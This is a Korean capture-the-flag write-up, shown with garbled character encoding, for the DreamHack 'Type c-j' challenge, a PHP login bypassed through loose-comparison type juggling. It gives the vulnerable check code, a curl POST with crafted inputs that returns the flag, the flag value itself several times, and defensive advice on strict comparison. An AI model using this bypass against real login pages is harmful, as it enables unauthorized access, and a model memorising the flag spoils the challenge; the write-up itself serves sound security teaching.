๋ฌธ์ : DreamHack โ Type c-j
๋ถ๋ฅ: Web (PHP Type Juggling)
๋์ด๋: ๐ฅ Bronze 2
FLAG:
DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Type c-j |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Web |
| ์ ๊ณต ํ์ผ | index.php, check.php, flag.php |
| ์๋ฒ | http://host3.dreamhack.games:PORT/ (PHP) |
| ํต์ฌ ๊ธฐ๋ฒ | PHP Type Juggling (๋์จํ ๋น๊ต ==) |
๋ฌธ์ ๋ช
"Type c-j" ๋ Type Confusion / type Juggling ์ ์ฝ์๋ค. PHP์ ๋์จํ ๋น๊ต(==)๊ฐ ์๋ก ๋ค๋ฅธ ํ์
์ ์ต์ง๋ก ๋ง์ถฐ ๋น๊ตํ๋ฉด์ ์๊ธฐ๋ ๊ณ ์ ์น ์ทจ์ฝ์ ์ ๋
ธ๋ฆฐ๋ค.
์ ์ํ๋ฉด ID/PW ๋ฅผ ๋ฃ๋ ๋จ์ํ ๋ก๊ทธ์ธ ํผ์ด ๋ฌ๋ค.

1. ์์ค ๋ถ์ โ check.php ์ ๊ธ์
ํผ์ /check.php ๋ก POST ํ๋ค. ๊ฒ์ฆ ๋ก์ง์ ๋ณด๋ฉด ์ทจ์ฝ์ ์ด ์ ์งํ๊ฒ ๋๋ฌ๋๋ค.
#!/usr/bin/env bash
# check.php ์ทจ์ฝ์ โ (int) ์บ์คํ
+ ๋์จํ ๋น๊ต(==)
cd extracted
echo "== check.php ํต์ฌ ๋ก์ง =="
grep -nE '\$id = getRandStr|\$pw = sha1|input_id = |input_pw = |\(int\)\$input|strlen\(\$input|echo \$flag' check.php \
| sed -E 's/^[0-9]+:[[:space:]]*//'
echo
echo "์ ๋ฆฌ:"
echo " \$id = ๋๋ค 10์ ์์ซ์, \$pw = sha1(\"1\") = 356a192b...(๊ณ ์ )"
echo " ID ํต๊ณผ: (int)\$input_id == \$id && strlen(\$input_id) === 10"
echo " PW ํต๊ณผ: (int)\$input_pw == \$pw && strlen(\$input_pw) === 8"
echo
echo "โ ์ข๋ณ์ (int)๋ก ์บ์คํ
ํด '์ ์ == ๋ฌธ์์ด' ๋์จ๋น๊ต. ๊ธธ์ด๋ง ๊ณ ์ โ type juggling ์ทจ์ฝ"bash cap_source.sh
$id = getRandStr(); // ๋๋ค 10์ ์์ซ์ (0-9a-zA-Z)
$pw = sha1("1"); // = "356a192b7913b04c..." (๊ณ ์ )
if((int)$input_id == $id && strlen($input_id) === 10){ // ID ๊ฒ์ฌ
if((int)$input_pw == $pw && strlen($input_pw) === 8){ // PW ๊ฒ์ฌ
echo $flag;
}
}๋ ๊ฒ์ฌ ๋ชจ๋ (int)$์
๋ ฅ == $์ ๋ต + ๊ธธ์ด ๊ณ ์ ๊ตฌ์กฐ๋ค. ์ข๋ณ๋ง (int)๋ก ์บ์คํ
ํ๊ณ ์ฐ๋ณ(์ ๋ต)์ ๋ฌธ์์ด ๊ทธ๋๋ก ๋๋๋ฐ, ์ด "์ ์ == ๋ฌธ์์ด" ๋น๊ต๊ฐ ํจ์ ์ด๋ค.
2. ์ทจ์ฝ์ ์๋ฆฌ โ PHP ๋์จํ ๋น๊ต
PHP7์์ ์ ์์ ๋ฌธ์์ด์ == ๋ก ๋น๊ตํ๋ฉด ๋ฌธ์์ด์ ์ซ์๋ก ๋ณํํด์ ๋น๊ตํ๋ค. ์ด๋ ๋ฌธ์์ด์ ์ ํ ์ซ์๊น์ง๋ง ํ์ฑ๋๋ค("356a192b" โ 356, "abc" โ 0).

์ด ๊ท์น์ผ๋ก ๋ ๊ฒ์ฌ๋ฅผ ๊ฐ๊ฐ ๋ซ๋๋ค.
- PW:
$pw = sha1("1") = "356a192b...". ์ซ์๋ก ํ์ฑํ๋ฉด 356. ๋ฐ๋ผ์input2 = "356aaaaa"(โ(int)=356, ๊ธธ์ด 8) ๋ฅผ ๋ฃ์ผ๋ฉด356 == 356์ผ๋ก ํต๊ณผ. - ID:
$id๋ ๋๋ค 10์ ์์ซ์. ์ ํ์ด ๋ฌธ์๋ฉด(int)$id = 0. ๋ฐ๋ผ์input1 = "0000000000"(โ(int)=0, ๊ธธ์ด 10) ๋ฅผ ๋ฃ์ผ๋ฉด0 == 0์ผ๋ก ํต๊ณผ. (๋๋ฌผ๊ฒ$id๊ฐ ์ซ์๋ก ์์ํ๋ฉด ์คํจ โ ์ฌ์๋)
๋ก์ปฌ PHP๋ก ์ด ๋์์ ์ง์ ํ์ธํ๋ค.

3. ์ต์คํ๋ก์
input1=0000000000, input2=356aaaaa ๋ก POST ํ๋ฉด ๋๋ค. $id ๋๋ค์ฑ ๋๋ฌธ์ ์คํจํ ์ ์์ด ์ฑ๊ณตํ ๋๊น์ง ์ฌ์๋ํ๋๋ก ํ์ง๋ง, ๋๊ฐ ํ ๋ฒ์ ํต๊ณผํ๋ค.

curl -s -X POST http://host3.dreamhack.games:PORT/check.php \
--data-urlencode 'input1=0000000000' \
--data-urlencode 'input2=356aaaaa' | grep -oE 'DH\{[^}]*\}'
# DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}๋ธ๋ผ์ฐ์ ์์ ํผ์ ๊ทธ๋๋ก ๋ฃ๊ณ ์ ์ถํด๋ ๋์ผํ๊ฒ ํ๋๊ทธ๊ฐ ๋์จ๋ค.

ํ๋๊ทธ: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}
4. ์ฝ์ง ๊ธฐ๋ก
โถ๐ ์ฝ์ง โ PHP 7 vs 8, ๊ทธ๋ฆฌ๊ณ ๋๋ค ID ์ฌ์๋
์ด ์ฐํ๋ PHP ๋ฒ์ ์ ๋ฏผ๊ฐํ๋ค. PHP7 ์ 0 == "abc" ๊ฐ true(๋ฌธ์์ด์ ์ซ์ 0์ผ๋ก ๋ณํ)์ง๋ง, PHP8 ์ ๊ท์น์ด ๋ฐ๋์ด false(์ ์๋ฅผ ๋ฌธ์์ด "0"์ผ๋ก ๋ฐ๊ฟ ๋น๊ต)๋ค.
๋ก์ปฌ PHP8.4 ๋ก ๋ฐ๋ชจ๋ฅผ ์ง๋ค๊ฐ 0 == "abc" ๊ฐ false ๋ก ๋์์ ์ ๊น ๊ฐธ์ํ๋๋ฐ, ๋ฌธ์ ์๋ฒ๊ฐ PHP7 ๊ณ์ด์ด๋ผ ์ค์ ์ต์ค๋ ์ ์ ๋์ํ๋ค. ๋ฐ๋ชจ๋ ๋ฒ์ ๋ฌด๊ดํ intval()/(int) ํ์ฑ์ผ๋ก ๋ณด์ฌ์ฃผ๊ณ , ๋ฒ์ ์ฐจ์ด๋ ๋ฐ๋ก ๋ช
์ํ๋ค.
๋ ํ๋๋ ๋๋ค $id. ๊ฐ์ด ์ซ์๋ก ์์ํ๋ฉด (int)$id โ 0 ์ด๋ผ input1=0000000000 ์ด ์ ๋จนํ๋ค. ํ๋ฅ ์ ๋ฎ์ผ๋(์ ํ์ด ๋ฌธ์ยท0์ผ ํ๋ฅ โ 85%) ์คํจํ๋ฉด ์ฌ์๋ํ๋ฉด ๋๋ค. sleep(1) ์ด ์์ด ์กฐ๊ธ ๋๋ฆด ๋ฟ. ์ด๋ฒ์ ์ฒซ ์๋์ ํต๊ณผํ๋ค.
5. ๋ฐฉ์ด ๊ด์ โ ๋์จํ ๋น๊ต๋ฅผ ์ฐ์ง ๋ง ๊ฒ
ํ ์ค์ง๋ฆฌ ์ค์์ง๋ง ๋ก๊ทธ์ธ ์ ์ฒด๊ฐ ๋ซ๋ ธ๋ค. ๊ตํ์ ๋ถ๋ช ํ๋ค.
==๋์===๋ฅผ ์ฐ๋ผ. ์๊ฒฉ ๋น๊ต(===)๋ ํ์ ๊น์ง ํ์ธํ๋ฏ๋ก0 === "abc",356 === "356a192b..."๋ชจ๋false๋ค. ํ์ ์ ๊ธ๋ง์ด ์์ฒ ์ฐจ๋จ๋๋ค.- ๋น๋ฐ๊ฐ์
(int)๋ก ์บ์คํ ํ์ง ๋ง๋ผ. ์ ๋ต์ ์ ์๋ก ๋ฐ๊ฟ ๋น๊ตํ๋ ์๊ฐ, ๋ฌธ์์ด์ ์ ํ ์ซ์๋ง ๋ง์ผ๋ฉด ํต๊ณผํ๋ ๊ตฌ๋ฉ์ด ์๊ธด๋ค. - ๋ฌธ์์ด์ ๋ฌธ์์ด๋ต๊ฒ ๋น๊ตํ๋ผ. ํด์ยทํ ํฐ ๊ฐ์ ๋ฌธ์์ด ๋น๊ต๋
hash_equals()๊ฐ์ ์์์๊ฐ ํจ์๋ก ์ ํํ ๋น๊ตํ๋ ๊ฒ ์์ ํ๋ค. - ์๋ ค์ง ๋งค์ง ํด์ ์ฃผ์.
0e...๋ก ์์ํ๋ ํด์๊ฐ ๋์จ๋น๊ต์์0(์ง์ํ๊ธฐ)๋ก ์ทจ๊ธ๋ผ"0e123" == "0e456"๊ฐ ์ฐธ์ด ๋๋ "๋งค์ง ํด์" ๋ฅ๋ ๊ฐ์ ๋ฟ๋ฆฌ์ ๋ฌธ์ ๋ค.
์ ๋ฆฌํ๋ฉด "๋์จํ ๋น๊ต(==) + ์ ์ ์บ์คํ
+ ์์ธก ๊ฐ๋ฅํ ์ ๋ต(sha1 ์์, 0์ผ๋ก ํ์ฑ๋๋ ๋๋ค๊ฐ)" ์ด ๊ฒน์ณ ์ธ์ฆ์ด ๋ฌด๋ ฅํ๋๋ค. PHP์์ ์ธ์ฆยท๊ถํ ๋น๊ต๋ ๋ฐ๋์ ์๊ฒฉ ๋น๊ต๋ก ํด์ผ ํ๋ค.
FLAG: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ